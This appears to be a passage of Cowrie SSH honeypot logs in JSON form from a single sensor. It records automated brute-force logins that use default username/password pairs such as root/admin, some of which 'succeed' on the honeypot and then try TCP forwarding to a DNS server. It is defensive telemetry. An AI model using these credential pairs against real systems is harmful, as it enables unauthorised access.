{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:30:16.317892Z","src_ip":"37.77.150.119","session":"c65b55a89dd1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:30:16.458117Z","session":"c65b55a89dd1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:30:16.597357Z","src_ip":"37.77.150.119","session":"c65b55a89dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:30:16.737556Z","src_ip":"37.77.150.119","session":"c65b55a89dd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":54516,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb5e524d98a1","protocol":"ssh","message":"New connection: 2.57.122.210:54516 (159.203.135.109:22) [session: cb5e524d98a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:31:45.126839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:31:45.131610Z","src_ip":"2.57.122.210","session":"cb5e524d98a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:31:45.235556Z","src_ip":"2.57.122.210","session":"cb5e524d98a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:31:45.548744Z","src_ip":"2.57.122.210","session":"cb5e524d98a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:31:46.654956Z","src_ip":"2.57.122.210","session":"cb5e524d98a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.142.125.213","src_port":60912,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cebdb6f2508","protocol":"ssh","message":"New connection: 162.142.125.213:60912 (10.17.0.5:22) [session: 2cebdb6f2508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:31:59.645942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:31:59.663517Z","src_ip":"162.142.125.213","session":"2cebdb6f2508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:31:59.677022Z","src_ip":"162.142.125.213","session":"2cebdb6f2508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42044,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e1c111d2c7e","protocol":"ssh","message":"New connection: 193.32.162.145:42044 (10.17.0.5:22) [session: 2e1c111d2c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:09.185822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:09.190339Z","src_ip":"193.32.162.145","session":"2e1c111d2c7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:09.304397Z","src_ip":"193.32.162.145","session":"2e1c111d2c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shredstream","password":"shredstream","message":"login attempt [shredstream/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:09.717660Z","src_ip":"193.32.162.145","session":"2e1c111d2c7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:10.826896Z","src_ip":"193.32.162.145","session":"2e1c111d2c7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:14.707530Z","src_ip":"162.142.125.213","session":"2cebdb6f2508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":26694,"dst_ip":"10.17.0.5","dst_port":22,"session":"78d93c252db5","protocol":"ssh","message":"New connection: 37.77.150.119:26694 (10.17.0.5:22) [session: 78d93c252db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:39.597988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:39.602858Z","src_ip":"37.77.150.119","session":"78d93c252db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:39.735790Z","src_ip":"37.77.150.119","session":"78d93c252db5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:40.133857Z","src_ip":"37.77.150.119","session":"78d93c252db5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:40.269346Z","session":"78d93c252db5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:40.404297Z","src_ip":"37.77.150.119","session":"78d93c252db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:40.539517Z","src_ip":"37.77.150.119","session":"78d93c252db5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":34042,"dst_ip":"10.17.0.5","dst_port":22,"session":"115cac3154ba","protocol":"ssh","message":"New connection: 195.178.110.218:34042 (10.17.0.5:22) [session: 115cac3154ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:45.204351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:45.208644Z","src_ip":"195.178.110.218","session":"115cac3154ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:45.290276Z","src_ip":"195.178.110.218","session":"115cac3154ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:45.529783Z","src_ip":"195.178.110.218","session":"115cac3154ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:32:46.611398Z","src_ip":"195.178.110.218","session":"115cac3154ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":57084,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffc6149acc3d","protocol":"ssh","message":"New connection: 2.57.122.210:57084 (159.203.135.109:22) [session: ffc6149acc3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:33:58.189815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:33:58.195245Z","src_ip":"2.57.122.210","session":"ffc6149acc3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:33:58.303327Z","src_ip":"2.57.122.210","session":"ffc6149acc3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:33:58.682565Z","src_ip":"2.57.122.210","session":"ffc6149acc3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:33:59.783854Z","src_ip":"2.57.122.210","session":"ffc6149acc3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55924,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ccd889361fa","protocol":"ssh","message":"New connection: 193.32.162.145:55924 (10.17.0.5:22) [session: 4ccd889361fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:34:24.261878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:34:24.265679Z","src_ip":"193.32.162.145","session":"4ccd889361fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:34:24.365472Z","src_ip":"193.32.162.145","session":"4ccd889361fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:34:24.681608Z","src_ip":"193.32.162.145","session":"4ccd889361fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:34:25.783164Z","src_ip":"193.32.162.145","session":"4ccd889361fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":20282,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b6642ed8545","protocol":"ssh","message":"New connection: 37.77.150.119:20282 (10.17.0.5:22) [session: 8b6642ed8545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:35:03.032593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:35:03.037431Z","src_ip":"37.77.150.119","session":"8b6642ed8545","protocol":"ssh"}
